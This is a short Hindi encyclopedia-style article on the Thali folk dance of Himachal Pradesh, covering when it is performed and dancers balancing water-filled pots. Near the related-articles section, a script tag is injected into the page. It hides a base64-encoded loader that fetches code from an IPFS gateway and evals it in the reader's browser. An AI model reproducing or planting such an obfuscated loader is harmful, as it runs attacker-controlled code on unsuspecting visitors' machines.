थाली नृत्य  

थाली नृत्य हिमाचल प्रदेश के लोक नृत्यों में विशेष महत्त्व रखता है। कई ख़ास अवसरों पर यह लोक नृत्य किया जाता है।

  • किसी त्यौहार, विवाह आदि पर विभिन्न लोक नृत्य किये जाते हैंं। थाली नृत्य में नर्तक एवं गायक एक गोल घेरे में बैठते है, इसमें नर्तक एक-एक करके अपनी प्रस्तुति देते हैंं।
  • इस नृत्य में नर्तक एक विशेष ढंग से अपने शरीर को हिलाता है।
  • थाली नृत्य को और अधिक आकर्षित बनाने के लिए नर्तक सर पर पानी से भरा लोटा रखकर भी नृत्य करते हैंं।[१]
पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. भारतीय लोक नृत्य की सूची (हिंदी) deepawali.co.in। अभिगमन तिथि: 18 फरवरी, 2020।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=थाली_नृत्य&oldid=641173" से लिया गया